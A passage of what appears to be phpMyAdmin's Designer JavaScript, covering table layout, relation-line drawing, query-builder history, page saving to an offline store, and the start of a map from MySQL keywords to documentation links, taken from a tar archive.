$('#key_SB_all').toggleClass('M_butt_Selected_down'); $('#key_SB_all').toggleClass('M_butt'); DesignerMove.reload(); }; // invert max/min all tables DesignerMove.smallTabInvert = function () { for (var key in jTabs) { DesignerMove.smallTab(key, 0); } DesignerMove.reload(); }; DesignerMove.relationLinesInvert = function () { showRelationLines = ! showRelationLines; DesignerMove.saveValueInConfig('relation_lines', showRelationLines); $('#relLineInvert').toggleClass('M_butt_Selected_down'); $('#relLineInvert').toggleClass('M_butt'); DesignerMove.reload(); }; DesignerMove.smallTabRefresh = function () { for (var key in jTabs) { if (document.getElementById('id_hide_tbody_' + key).innerHTML !== 'v') { DesignerMove.smallTab(key, 0); } } }; DesignerMove.smallTab = function (t, reload) { var id = document.getElementById('id_tbody_' + t); var idThis = document.getElementById('id_hide_tbody_' + t); if (idThis.innerHTML === 'v') { // ---CROSS id.style.display = 'none'; idThis.innerHTML = '>'; } else { id.style.display = ''; idThis.innerHTML = 'v'; } if (reload) { DesignerMove.reload(); } }; DesignerMove.selectTab = function (t) { var idZag = document.getElementById('id_zag_' + t); if (idZag.className !== 'tab_zag_3') { document.getElementById('id_zag_' + t).className = 'tab_zag_2'; } else { document.getElementById('id_zag_' + t).className = 'tab_zag'; } // ---------- var idT = document.getElementById(t); window.scrollTo(parseInt(idT.style.left, 10) - 300, parseInt(idT.style.top, 10) - 300); setTimeout( function () { document.getElementById('id_zag_' + t).className = 'tab_zag'; }, 800 ); }; DesignerMove.canvasClick = function (id, event) { var n = 0; var selected = 0; var a = []; var Key0; var Key1; var Key2; var Key3; var Key; var x1; var x2; var K; var key; var key2; var key3; // eslint-disable-next-line compat/compat var localX = isIe ? event.clientX + document.body.scrollLeft : event.pageX; // eslint-disable-next-line compat/compat var localY = isIe ? event.clientY + document.body.scrollTop : event.pageY; localX -= $('#osn_tab').offset().left; localY -= $('#osn_tab').offset().top; DesignerMove.clear(); var osnTab = document.getElementById('osn_tab'); for (K in contr) { for (key in contr[K]) { for (key2 in contr[K][key]) { for (key3 in contr[K][key][key2]) { if (! document.getElementById('check_vis_' + key2).checked || ! document.getElementById('check_vis_' + contr[K][key][key2][key3][0]).checked) { continue; // if hide } var x1Left = document.getElementById(key2).offsetLeft + 1;// document.getElementById(key2+"."+key3).offsetLeft; var x1Right = x1Left + document.getElementById(key2).offsetWidth; var x2Left = document.getElementById(contr[K][key][key2][key3][0]).offsetLeft;// +document.getElementById(contr[K][key2][key3][0]+"."+contr[K][key2][key3][1]).offsetLeft var x2Right = x2Left + document.getElementById(contr[K][key][key2][key3][0]).offsetWidth; a[0] = Math.abs(x1Left - x2Left); a[1] = Math.abs(x1Left - x2Right); a[2] = Math.abs(x1Right - x2Left); a[3] = Math.abs(x1Right - x2Right); n = sLeft = sRight = 0; for (var i = 1; i < 4; i++) { if (a[n] > a[i]) { n = i; } } if (n === 1) { x1 = x1Left - smS; x2 = x2Right + smS; if (x1 < x2) { n = 0; } } if (n === 2) { x1 = x1Right + smS; x2 = x2Left - smS; if (x1 > x2) { n = 0; } } if (n === 3) { x1 = x1Right + smS; x2 = x2Right + smS; sRight = 1; } if (n === 0) { x1 = x1Left - smS; x2 = x2Left - smS; sLeft = 1; } var y1 = document.getElementById(key2).offsetTop + document.getElementById(key2 + '.' + key3).offsetTop + heightField; var y2 = document.getElementById(contr[K][key][key2][key3][0]).offsetTop + document.getElementById(contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]).offsetTop + heightField; if (!selected && localX > x1 - 10 && localX < x1 + 10 && localY > y1 - 7 && localY < y1 + 7) { DesignerMove.drawLine0( x1, x2, y1, y2, osnTab, 'rgba(255,0,0,1)' ); selected = 1; Key0 = contr[K][key][key2][key3][0]; Key1 = contr[K][key][key2][key3][1]; Key2 = key2; Key3 = key3; Key = K; } else { DesignerMove.drawLine0( x1, x2, y1, y2, osnTab, contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1] ); } } } } } if (selected) { // select relations var left = globX - (document.getElementById('layer_upd_relation').offsetWidth >> 1); document.getElementById('layer_upd_relation').style.left = left + 'px'; var top = globY - document.getElementById('layer_upd_relation').offsetHeight - 10; document.getElementById('layer_upd_relation').style.top = top + 'px'; document.getElementById('layer_upd_relation').style.display = 'block'; var argsep = CommonParams.get('arg_separator'); linkRelation = 'T1=' + Key0 + argsep + 'F1=' + Key1 + argsep + 'T2=' + Key2 + argsep + 'F2=' + Key3 + argsep + 'K=' + Key; } }; DesignerMove.updRelation = function () { document.getElementById('layer_upd_relation').style.display = 'none'; var argsep = CommonParams.get('arg_separator'); linkRelation += argsep + 'server=' + server + argsep + 'db=' + db; linkRelation += argsep + 'operation=removeRelation' + argsep + 'ajax_request=true'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', linkRelation, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(data.message); DesignerMove.loadPage(selectedPage); } }); // end $.post() }; DesignerMove.visibleTab = function (id, tN) { if (id.checked) { document.getElementById(tN).style.display = 'block'; } else { document.getElementById(tN).style.display = 'none'; } DesignerMove.reload(); DesignerMove.markUnsaved(); }; // max/min all tables DesignerMove.hideTabAll = function (idThis) { if (idThis.alt === 'v') { idThis.alt = '>'; idThis.src = idThis.dataset.right; } else { idThis.alt = 'v'; idThis.src = idThis.dataset.down; } var E = document.getElementById('container-form'); var EelementsLength = E.elements.length; for (var i = 0; i < EelementsLength; i++) { if (E.elements[i].type === 'checkbox' && E.elements[i].id.substring(0, 10) === 'check_vis_') { if (idThis.alt === 'v') { E.elements[i].checked = true; document.getElementById(E.elements[i].value).style.display = ''; } else { E.elements[i].checked = false; document.getElementById(E.elements[i].value).style.display = 'none'; } } } DesignerMove.reload(); }; DesignerMove.inArrayK = function (x, m) { var b = 0; for (var u in m) { if (x === u) { b = 1; break; } } return b; }; DesignerMove.noHaveConstr = function (idThis) { var a = []; var K; var key; var key2; var key3; for (K in contr) { for (key in contr[K]) { // contr name for (key2 in contr[K][key]) { // table name for (key3 in contr[K][key][key2]) { // field name a[key2] = a[contr[K][key][key2][key3][0]] = 1; // exist constr } } } } if (idThis.alt === 'v') { idThis.alt = '>'; idThis.src = idThis.dataset.right; } else { idThis.alt = 'v'; idThis.src = idThis.dataset.down; } var E = document.getElementById('container-form'); var EelementsLength = E.elements.length; for (var i = 0; i < EelementsLength; i++) { if (E.elements[i].type === 'checkbox' && E.elements[i].id.substring(0, 10) === 'check_vis_') { if (!DesignerMove.inArrayK(E.elements[i].value, a)) { if (idThis.alt === 'v') { E.elements[i].checked = true; document.getElementById(E.elements[i].value).style.display = ''; } else { E.elements[i].checked = false; document.getElementById(E.elements[i].value).style.display = 'none'; } } } } }; DesignerMove.generalScroll = function () { // if (timeoutId) clearTimeout(timeoutId); timeoutId = setTimeout( function () { // eslint-disable-next-line compat/compat document.getElementById('top_menu').style.left = document.body.scrollLeft + 'px'; // eslint-disable-next-line compat/compat document.getElementById('top_menu').style.top = document.body.scrollTop + 'px'; }, 200 ); }; // max/min all tables DesignerMove.showLeftMenu = function (idThis) { var icon = idThis.children[0]; $('#key_Show_left_menu').toggleClass('M_butt_Selected_down'); if (icon.alt === 'v') { document.getElementById('layer_menu').style.top = '0px'; document.getElementById('layer_menu').style.display = 'block'; icon.alt = '>'; icon.src = icon.dataset.up; if (isIe) { DesignerMove.generalScroll(); } } else { document.getElementById('layer_menu').style.top = -1000 + 'px'; // fast scroll document.getElementById('layer_menu').style.display = 'none'; icon.alt = 'v'; icon.src = icon.dataset.down; } }; DesignerMove.sideMenuRight = function (idThis) { $('#side_menu').toggleClass('right'); $('#layer_menu').toggleClass('float-start'); var moveMenuIcon = $(idThis.getElementsByTagName('img')[0]); var resizeIcon = $('#layer_menu_sizer > img') .toggleClass('float-start') .toggleClass('float-end'); var srcResizeIcon = resizeIcon.attr('src'); resizeIcon.attr('src', resizeIcon.attr('data-right')); resizeIcon.attr('data-right', srcResizeIcon); var srcMoveIcon = moveMenuIcon.attr('src'); moveMenuIcon.attr('src', moveMenuIcon.attr('data-right')); moveMenuIcon.attr('data-right', srcMoveIcon); menuMoved = !menuMoved; DesignerMove.saveValueInConfig('side_menu', $('#side_menu').hasClass('right')); $('#key_Left_Right').toggleClass('M_butt_Selected_down'); $('#key_Left_Right').toggleClass('M_butt'); }; DesignerMove.showText = function () { $('#side_menu').find('.hidable').show(); }; DesignerMove.hideText = function () { if (!alwaysShowText) { $('#side_menu').find('.hidable').hide(); } }; DesignerMove.pinText = function () { alwaysShowText = !alwaysShowText; $('#pin_Text').toggleClass('M_butt_Selected_down'); $('#pin_Text').toggleClass('M_butt'); DesignerMove.saveValueInConfig('pin_text', alwaysShowText); }; DesignerMove.startDisplayField = function () { if (onRelation) { return; } if (!onDisplayField) { onDisplayField = 1; document.getElementById('designer_hint').innerHTML = Messages.strChangeDisplay; document.getElementById('designer_hint').style.display = 'block'; document.getElementById('display_field_button').className = 'M_butt_Selected_down';// '#FFEE99';gray #AAAAAA if (isIe) { // correct for IE document.getElementById('display_field_button').className = 'M_butt_Selected_down_IE'; } } else { document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('display_field_button').className = 'M_butt'; onDisplayField = 0; } }; var TargetColors = []; DesignerMove.getColorByTarget = function (target) { var color = ''; // "rgba(0,100,150,1)"; for (var targetColor in TargetColors) { if (TargetColors[targetColor][0] === target) { color = TargetColors[targetColor][1]; break; } } if (color.length === 0) { var i = TargetColors.length + 1; var d = i % 6; var j = (i - d) / 6; j = j % 4; j++; var colorCase = [ [1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 1, 0], [1, 0, 1], [0, 1, 1] ]; var a = colorCase[d][0]; var b = colorCase[d][1]; var c = colorCase[d][2]; var e = (1 - (j - 1) / 6); var r = Math.round(a * 200 * e); var g = Math.round(b * 200 * e); b = Math.round(c * 200 * e); color = 'rgba(' + r + ',' + g + ',' + b + ',1)'; TargetColors.push([target, color]); } return color; }; DesignerMove.clickOption = function (dbName, tableName, columnName, tableDbNameUrl, optionColNameString) { var designerOptions = document.getElementById('designer_optionse'); var left = globX - (designerOptions.offsetWidth >> 1); designerOptions.style.left = left + 'px'; // var top = Glob_Y - designerOptions.offsetHeight - 10; designerOptions.style.top = (screen.height / 4) + 'px'; designerOptions.style.display = 'block'; document.getElementById('ok_add_object_db_and_table_name_url').value = tableDbNameUrl; document.getElementById('ok_add_object_db_name').value = dbName; document.getElementById('ok_add_object_table_name').value = tableName; document.getElementById('ok_add_object_col_name').value = columnName; document.getElementById('option_col_name').innerHTML = optionColNameString; }; DesignerMove.closeOption = function () { document.getElementById('designer_optionse').style.display = 'none'; document.getElementById('rel_opt').value = '--'; document.getElementById('Query').value = ''; document.getElementById('new_name').value = ''; document.getElementById('operator').value = '---'; document.getElementById('groupby').checked = false; document.getElementById('h_rel_opt').value = '--'; document.getElementById('h_operator').value = '---'; document.getElementById('having').value = ''; document.getElementById('orderby').value = '---'; }; DesignerMove.selectAll = function (tableName, dbName, idSelectAll) { var parentIsChecked = $('#' + idSelectAll).is(':checked'); var checkboxAll = $('#container-form input[id_check_all=\'' + idSelectAll + '\']:checkbox'); checkboxAll.each(function () { // already checked and then check parent if (parentIsChecked === true && this.checked) { // was checked, removing column from selected fields // trigger unchecked event this.click(); } this.checked = parentIsChecked; this.disabled = parentIsChecked; }); if (parentIsChecked) { selectField.push('`' + tableName + '`.*'); fromArray.push(tableName); } else { var i; for (i = 0; i < selectField.length; i++) { if (selectField[i] === ('`' + tableName + '`.*')) { selectField.splice(i, 1); } } var k; for (k = 0; k < fromArray.length; k++) { if (fromArray[k] === tableName) { fromArray.splice(k, 1); break; } } } DesignerMove.reload(); }; DesignerMove.tableOnOver = function (idThis, val, buil) { var builLocal = parseInt(buil); if (!val) { document.getElementById('id_zag_' + idThis).className = 'tab_zag_2'; if (builLocal) { document.getElementById('id_zag_' + idThis + '_2').className = 'tab_zag_2'; } } else { document.getElementById('id_zag_' + idThis).className = 'tab_zag'; if (builLocal) { document.getElementById('id_zag_' + idThis + '_2').className = 'tab_zag'; } } }; /** * This function stores selected column information in selectField[] * In case column is checked it add else it deletes * * @param {string} tableName * @param {string} colName * @param {string} checkboxId */ DesignerMove.storeColumn = function (tableName, colName, checkboxId) { var i; var k; var selectKeyField = '`' + tableName + '`.`' + colName + '`'; if (document.getElementById(checkboxId).checked === true) { selectField.push(selectKeyField); fromArray.push(tableName); } else { for (i = 0; i < selectField.length; i++) { if (selectField[i] === selectKeyField) { selectField.splice(i, 1); break; } } for (k = 0; k < fromArray.length; k++) { if (fromArray[k] === tableName) { fromArray.splice(k, 1); break; } } } }; /** * This function builds object and adds them to historyArray * first it does a few checks on each object, then makes an object(where,rename,groupby,aggregate,orderby) * then a new history object is made and finally all these history objects are added to historyArray[] * * @param {string} dbName * @param {string} tableName * @param {string} colName * @param {string} dbTableNameUrl */ DesignerMove.addObject = function (dbName, tableName, colName, dbTableNameUrl) { var p; var whereObj; var rel = document.getElementById('rel_opt'); var sum = 0; var init = historyArray.length; if (rel.value !== '--') { if (document.getElementById('Query').value === '') { Functions.ajaxShowMessage(Functions.sprintf(Messages.strQueryEmpty)); return; } p = document.getElementById('Query'); whereObj = new DesignerHistory.Where(rel.value, p.value);// make where object historyArray.push(new DesignerHistory.HistoryObj(colName, whereObj, tableName, hTabs[dbTableNameUrl], 'Where')); sum = sum + 1; } if (document.getElementById('new_name').value !== '') { var renameObj = new DesignerHistory.Rename(document.getElementById('new_name').value);// make Rename object historyArray.push(new DesignerHistory.HistoryObj(colName, renameObj, tableName, hTabs[dbTableNameUrl], 'Rename')); sum = sum + 1; } if (document.getElementById('operator').value !== '---') { var aggregateObj = new DesignerHistory.Aggregate(document.getElementById('operator').value); historyArray.push(new DesignerHistory.HistoryObj(colName, aggregateObj, tableName, hTabs[dbTableNameUrl], 'Aggregate')); sum = sum + 1; // make aggregate operator } if (document.getElementById('groupby').checked === true) { historyArray.push(new DesignerHistory.HistoryObj(colName, 'GroupBy', tableName, hTabs[dbTableNameUrl], 'GroupBy')); sum = sum + 1; // make groupby } if (document.getElementById('h_rel_opt').value !== '--') { if (document.getElementById('having').value === '') { return; } whereObj = new DesignerHistory.Having( document.getElementById('h_rel_opt').value, document.getElementById('having').value, document.getElementById('h_operator').value );// make where object historyArray.push(new DesignerHistory.HistoryObj(colName, whereObj, tableName, hTabs[dbTableNameUrl], 'Having')); sum = sum + 1; // make having } if (document.getElementById('orderby').value !== '---') { var orderByObj = new DesignerHistory.OrderBy(document.getElementById('orderby').value); historyArray.push(new DesignerHistory.HistoryObj(colName, orderByObj, tableName, hTabs[dbTableNameUrl], 'OrderBy')); sum = sum + 1; // make orderby } Functions.ajaxShowMessage(Functions.sprintf(Messages.strObjectsCreated, sum)); // output sum new objects created var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(init, historyArray.length); DesignerMove.closeOption(); $('#ab').accordion('refresh'); }; DesignerMove.enablePageContentEvents = function () { $('#page_content').off('mousedown'); $('#page_content').off('mouseup'); $('#page_content').off('mousemove'); $('#page_content').on('mousedown', function (e) { DesignerMove.mouseDown(e); }); $('#page_content').on('mouseup', function (e) { DesignerMove.mouseUp(e); }); $('#page_content').on('mousemove', function (e) { DesignerMove.mouseMove(e); }); }; /** * This function enables the events on table items. * It helps to enable them on page loading and when a table is added on the fly. * @param {number} index * @param {object} element */ DesignerMove.enableTableEvents = function (index, element) { $(element).on('click', '.select_all_1', function () { DesignerMove.selectAll($(this).attr('table_name'), $(this).attr('db_name'), $(this).attr('id')); }); $(element).on('click', '.small_tab,.small_tab2', function () { DesignerMove.smallTab($(this).attr('table_name'), 1); }); $(element).on('click', '.small_tab_pref_1', function () { DesignerMove.startTabUpd($(this).attr('db_url'), $(this).attr('table_name_url')); }); $(element).on('click', '.select_all_store_col', function () { DesignerMove.storeColumn($(this).attr('table_name'), $(this).attr('col_name'), $(this).attr('id')); }); $(element).on('click', '.small_tab_pref_click_opt', function () { DesignerMove.clickOption( $(this).attr('db_name'), $(this).attr('table_name'), $(this).attr('col_name'), $(this).attr('db_table_name_url'), $(this).attr('option_col_name_modal') ); }); $(element).on('click', '.tab_field_2,.tab_field_3,.tab_field', function () { var params = ($(this).attr('click_field_param')).split(','); DesignerMove.clickField(params[3], params[0], params[1], params[2]); }); $(element).find('.tab_zag_noquery').on('mouseover', function () { DesignerMove.tableOnOver($(this).attr('table_name'),0, $(this).attr('query_set')); }); $(element).find('.tab_zag_noquery').on('mouseout', function () { DesignerMove.tableOnOver($(this).attr('table_name'),1, $(this).attr('query_set')); }); $(element).find('.tab_zag_query').on('mouseover', function () { DesignerMove.tableOnOver($(this).attr('table_name'),0, 1); }); $(element).find('.tab_zag_query').on('mouseout', function () { DesignerMove.tableOnOver($(this).attr('table_name'),1, 1); }); DesignerMove.enablePageContentEvents(); }; AJAX.registerTeardown('designer/move.js', function () { $('#side_menu').off('mouseenter mouseleave'); $('#key_Show_left_menu').off('click'); $('#toggleFullscreen').off('click'); $('#newPage').off('click'); $('#editPage').off('click'); $('#savePos').off('click'); $('#SaveAs').off('click'); $('#delPages').off('click'); $('#StartTableNew').off('click'); $('#rel_button').off('click'); $('#StartTableNew').off('click'); $('#display_field_button').off('click'); $('#reloadPage').off('click'); $('#angular_direct_button').off('click'); $('#grid_button').off('click'); $('#key_SB_all').off('click'); $('#SmallTabInvert').off('click'); $('#relLineInvert').off('click'); $('#exportPages').off('click'); $('#query_builder').off('click'); $('#key_Left_Right').off('click'); $('#pin_Text').off('click'); $('#canvas').off('click'); $('#key_HS_all').off('click'); $('#key_HS').off('click'); $('.scroll_tab_struct').off('click'); $('.scroll_tab_checkbox').off('click'); $('#id_scroll_tab').find('tr').off('click', '.designer_Tabs2,.designer_Tabs'); $('.designer_tab').off('click', '.select_all_1'); $('.designer_tab').off('click', '.small_tab,.small_tab2'); $('.designer_tab').off('click', '.small_tab_pref_1'); $('.tab_zag_noquery').off('mouseover'); $('.tab_zag_noquery').off('mouseout'); $('.tab_zag_query').off('mouseover'); $('.tab_zag_query').off('mouseout'); $('.designer_tab').off('click','.tab_field_2,.tab_field_3,.tab_field'); $('.designer_tab').off('click', '.select_all_store_col'); $('.designer_tab').off('click', '.small_tab_pref_click_opt'); $('#del_button').off('click'); $('#cancel_button').off('click'); $('#ok_add_object').off('click'); $('#cancel_close_option').off('click'); $('#ok_new_rel_panel').off('click'); $('#cancel_new_rel_panel').off('click'); $('#page_content').off('mouseup'); $('#page_content').off('mousedown'); $('#page_content').off('mousemove'); }); AJAX.registerOnload('designer/move.js', function () { $('#key_Show_left_menu').on('click', function () { DesignerMove.showLeftMenu(this); return false; }); $('#toggleFullscreen').on('click', function () { DesignerMove.toggleFullscreen(); return false; }); $('#addOtherDbTables').on('click', function () { DesignerMove.addOtherDbTables(); return false; }); $('#newPage').on('click', function () { DesignerMove.new(); return false; }); $('#editPage').on('click', function () { DesignerMove.editPages(); return false; }); $('#savePos').on('click', function () { DesignerMove.save3(); return false; }); $('#SaveAs').on('click', function () { DesignerMove.saveAs(); $(document).on('ajaxStop', function () { $('#selected_value').on('click', function () { $('#savePageNewRadio').prop('checked', true); }); }); return false; }); $('#delPages').on('click', function () { DesignerMove.deletePages(); return false; }); $('#StartTableNew').on('click', function () { DesignerMove.startTableNew(); return false; }); $('#rel_button').on('click', function () { DesignerMove.startRelation(); return false; }); $('#display_field_button').on('click', function () { DesignerMove.startDisplayField(); return false; }); $('#reloadPage').on('click', function () { DesignerMove.loadPage(selectedPage); }); $('#angular_direct_button').on('click', function () { DesignerMove.angularDirect(); return false; }); $('#grid_button').on('click', function () { DesignerMove.grid(); return false; }); $('#key_SB_all').on('click', function () { DesignerMove.smallTabAll(this); return false; }); $('#SmallTabInvert').on('click', function () { DesignerMove.smallTabInvert(); return false; }); $('#relLineInvert').on('click', function () { DesignerMove.relationLinesInvert(); return false; }); $('#exportPages').on('click', function () { DesignerMove.exportPages(); return false; }); $('#query_builder').on('click', function () { DesignerHistory.buildQuery('SQL Query on Database', 0); }); $('#key_Left_Right').on('click', function () { DesignerMove.sideMenuRight(this); return false; }); $('#side_menu').on('mouseenter', function () { DesignerMove.showText(); return false; }); $('#side_menu').on('mouseleave', function () { DesignerMove.hideText(); return false; }); $('#pin_Text').on('click', function () { DesignerMove.pinText(this); return false; }); $('#canvas').on('click', function (event) { DesignerMove.canvasClick(this, event); }); $('#key_HS_all').on('click', function () { DesignerMove.hideTabAll(this); return false; }); $('#key_HS').on('click', function () { DesignerMove.noHaveConstr(this); return false; }); $('.designer_tab').each(DesignerMove.enableTableEvents); $('.designer_tab').each(DesignerMove.addTableToTablesList); $('input#del_button').on('click', function () { DesignerMove.updRelation(); }); $('input#cancel_button').on('click', function () { document.getElementById('layer_upd_relation').style.display = 'none'; DesignerMove.reload(); }); $('input#ok_add_object').on('click', function () { DesignerMove.addObject( $('#ok_add_object_db_name').val(), $('#ok_add_object_table_name').val(), $('#ok_add_object_col_name').val(), $('#ok_add_object_db_and_table_name_url').val() ); }); $('input#cancel_close_option').on('click', function () { DesignerMove.closeOption(); }); $('input#ok_new_rel_panel').on('click', function () { DesignerMove.newRelation(); }); $('input#cancel_new_rel_panel').on('click', function () { document.getElementById('layer_new_relation').style.display = 'none'; }); DesignerMove.enablePageContentEvents(); }); src/designer/objects.js000066600000001316151724472050011136 0ustar00// eslint-disable-next-line no-unused-vars var DesignerObjects = { PdfPage: function (dbName, pageDescr, tblCords) { // no dot set the auto increment before put() in the database // issue #12900 // eslint-disable-next-line no-unused-vars var pgNr; this.dbName = dbName; this.pageDescr = pageDescr; this.tblCords = tblCords; }, TableCoordinate: function (dbName, tableName, pdfPgNr, x, y) { // no dot set the auto increment before put() in the database // issue #12900 // var id; this.dbName = dbName; this.tableName = tableName; this.pdfPgNr = pdfPgNr; this.x = x; this.y = y; } }; src/designer/page.js000066600000014213151724472050010421 0ustar00/* global DesignerOfflineDB */ // js/designer/database.js // eslint-disable-next-line no-unused-vars /* global db, selectedPage:writable */ // js/designer/init.js /* global DesignerMove */ // js/designer/move.js /* global DesignerObjects */ // js/designer/objects.js var DesignerPage = {}; DesignerPage.showTablesInLandingPage = function (db) { DesignerPage.loadFirstPage(db, function (page) { if (page) { DesignerPage.loadHtmlForPage(page.pgNr); selectedPage = page.pgNr; } else { DesignerPage.showNewPageTables(true); } }); }; DesignerPage.saveToNewPage = function (db, pageName, tablePositions, callback) { DesignerPage.createNewPage(db, pageName, function (page) { if (page) { var tblCords = []; var saveCallback = function (id) { tblCords.push(id); if (tablePositions.length === tblCords.length) { page.tblCords = tblCords; DesignerOfflineDB.addObject('pdf_pages', page); } }; for (var pos = 0; pos < tablePositions.length; pos++) { tablePositions[pos].pdfPgNr = page.pgNr; DesignerPage.saveTablePositions(tablePositions[pos], saveCallback); } if (typeof callback !== 'undefined') { callback(page); } } }); }; DesignerPage.saveToSelectedPage = function (db, pageId, pageName, tablePositions, callback) { DesignerPage.deletePage(pageId); DesignerPage.saveToNewPage(db, pageName, tablePositions, function (page) { if (typeof callback !== 'undefined') { callback(page); } selectedPage = page.pgNr; }); }; DesignerPage.createNewPage = function (db, pageName, callback) { var newPage = new DesignerObjects.PdfPage(db, pageName, []); DesignerOfflineDB.addObject('pdf_pages', newPage, function (pgNr) { newPage.pgNr = pgNr; if (typeof callback !== 'undefined') { callback(newPage); } }); }; DesignerPage.saveTablePositions = function (positions, callback) { DesignerOfflineDB.addObject('table_coords', positions, callback); }; DesignerPage.createPageList = function (db, callback) { DesignerOfflineDB.loadAllObjects('pdf_pages', function (pages) { var html = ''; for (var p = 0; p < pages.length; p++) { var page = pages[p]; if (page.dbName === db) { html += ''; } } if (typeof callback !== 'undefined') { callback(html); } }); }; DesignerPage.deletePage = function (pageId, callback) { DesignerOfflineDB.loadObject('pdf_pages', pageId, function (page) { if (page) { for (var i = 0; i < page.tblCords.length; i++) { DesignerOfflineDB.deleteObject('table_coords', page.tblCords[i]); } DesignerOfflineDB.deleteObject('pdf_pages', pageId, callback); } }); }; DesignerPage.loadFirstPage = function (db, callback) { DesignerOfflineDB.loadAllObjects('pdf_pages', function (pages) { var firstPage = null; for (var i = 0; i < pages.length; i++) { var page = pages[i]; if (page.dbName === db) { // give preference to a page having same name as the db if (page.pageDescr === db) { callback(page); return; } if (firstPage === null) { firstPage = page; } } } callback(firstPage); }); }; DesignerPage.showNewPageTables = function (check) { var allTables = $('#id_scroll_tab').find('td input:checkbox'); allTables.prop('checked', check); for (var tab = 0; tab < allTables.length; tab++) { var input = allTables[tab]; if (input.value) { var element = document.getElementById(input.value); element.style.top = DesignerPage.getRandom(550, 20) + 'px'; element.style.left = DesignerPage.getRandom(700, 20) + 'px'; DesignerMove.visibleTab(input, input.value); } } selectedPage = -1; $('#page_name').text(Messages.strUntitled); DesignerMove.markUnsaved(); }; DesignerPage.loadHtmlForPage = function (pageId) { DesignerPage.showNewPageTables(true); DesignerPage.loadPageObjects(pageId, function (page, tblCords) { $('#name-panel').find('#page_name').text(page.pageDescr); var tableMissing = false; for (var t = 0; t < tblCords.length; t++) { var tbId = db + '.' + tblCords[t].tableName; var table = document.getElementById(tbId); if (table === null) { tableMissing = true; continue; } table.style.top = tblCords[t].y + 'px'; table.style.left = tblCords[t].x + 'px'; var checkbox = document.getElementById('check_vis_' + tbId); checkbox.checked = true; DesignerMove.visibleTab(checkbox, checkbox.value); } DesignerMove.markSaved(); if (tableMissing === true) { DesignerMove.markUnsaved(); Functions.ajaxShowMessage(Messages.strSavedPageTableMissing); } selectedPage = page.pgNr; }); }; DesignerPage.loadPageObjects = function (pageId, callback) { DesignerOfflineDB.loadObject('pdf_pages', pageId, function (page) { var tblCords = []; var count = page.tblCords.length; for (var i = 0; i < count; i++) { DesignerOfflineDB.loadObject('table_coords', page.tblCords[i], function (tblCord) { tblCords.push(tblCord); if (tblCords.length === count) { if (typeof callback !== 'undefined') { callback(page, tblCords); } } }); } }); }; DesignerPage.getRandom = function (max, min) { var val = Math.random() * (max - min) + min; return Math.floor(val); }; src/doclinks.js000066600000045053151724472050007521 0ustar00/** * Definition of links to MySQL documentation. */ // eslint-disable-next-line no-unused-vars var mysqlDocKeyword = { /* Multi word */ 'CHARACTER SET': ['charset'], 'SHOW AUTHORS': ['show-authors'], 'SHOW BINARY LOGS': ['show-binary-logs'], 'SHOW BINLOG EVENTS': ['show-binlog-events'], 'SHOW CHARACTER SET': ['show-character-set'], 'SHOW COLLATION': ['show-collation'], 'SHOW COLUMNS': ['show-columns'], 'SHOW CONTRIBUTORS': ['show-contributors'], 'SHOW CREATE DATABASE': ['show-create-database'], 'SHOW CREATE EVENT': ['show-create-event'], 'SHOW CREATE FUNCTION': ['show-create-function'], 'SHOW CREATE PROCEDURE': ['show-create-procedure'], 'SHOW CREATE TABLE': ['show-create-table'], 'SHOW CREATE TRIGGER': ['show-create-trigger'], 'SHOW CREATE VIEW': ['show-create-view'], 'SHOW DATABASES': ['show-databases'], 'SHOW ENGINE': ['show-engine'], 'SHOW ENGINES': ['show-engines'], 'SHOW ERRORS': ['show-errors'], 'SHOW EVENTS': ['show-events'], 'SHOW FUNCTION CODE': ['show-function-code'], 'SHOW FUNCTION STATUS': ['show-function-status'], 'SHOW GRANTS': ['show-grants'], 'SHOW INDEX': ['show-index'], 'SHOW MASTER STATUS': ['show-master-status'], 'SHOW OPEN TABLES': ['show-open-tables'], 'SHOW PLUGINS': ['show-plugins'], 'SHOW PRIVILEGES': ['show-privileges'], 'SHOW PROCEDURE CODE': ['show-procedure-code'], 'SHOW PROCEDURE STATUS': ['show-procedure-status'], 'SHOW PROCESSLIST': ['show-processlist'], 'SHOW PROFILE': ['show-profile'], 'SHOW PROFILES': ['show-profiles'], 'SHOW RELAYLOG EVENTS': ['show-relaylog-events'], 'SHOW SLAVE HOSTS': ['show-slave-hosts'], 'SHOW SLAVE STATUS': ['show-slave-status'], 'SHOW STATUS': ['show-status'], 'SHOW TABLE STATUS': ['show-table-status'], 'SHOW TABLES': ['show-tables'], 'SHOW TRIGGERS': ['show-triggers'], 'SHOW VARIABLES': ['show-variables'], 'SHOW WARNINGS': ['show-warnings'], 'LOAD DATA INFILE': ['load-data'], 'LOAD XML': ['load-xml'], 'LOCK TABLES': ['lock-tables'], 'UNLOCK TABLES': ['lock-tables'], 'ALTER DATABASE': ['alter-database'], 'ALTER EVENT': ['alter-event'], 'ALTER LOGFILE GROUP': ['alter-logfile-group'], 'ALTER FUNCTION': ['alter-function'], 'ALTER PROCEDURE': ['alter-procedure'], 'ALTER SERVER': ['alter-server'], 'ALTER TABLE': ['alter-table'], 'ALTER TABLESPACE': ['alter-tablespace'], 'ALTER VIEW': ['alter-view'], 'CREATE DATABASE': ['create-database'], 'CREATE EVENT': ['create-event'], 'CREATE FUNCTION': ['create-function'], 'CREATE INDEX': ['create-index'], 'CREATE LOGFILE GROUP': ['create-logfile-group'], 'CREATE PROCEDURE': ['create-procedure'], 'CREATE SERVER': ['create-server'], 'CREATE TABLE': ['create-table'], 'CREATE TABLESPACE': ['create-tablespace'], 'CREATE TRIGGER': ['create-trigger'], 'CREATE VIEW': ['create-view'], 'DROP DATABASE': ['drop-database'], 'DROP EVENT': ['drop-event'], 'DROP FUNCTION': ['drop-function'], 'DROP INDEX': ['drop-index'], 'DROP LOGFILE GROUP': ['drop-logfile-group'], 'DROP PROCEDURE': ['drop-procedure'], 'DROP SERVER': ['drop-server'], 'DROP TABLE': ['drop-table'], 'DROP TABLESPACE': ['drop-tablespace'], 'DROP TRIGGER': ['drop-trigger'], 'DROP VIEW': ['drop-view'], 'RENAME 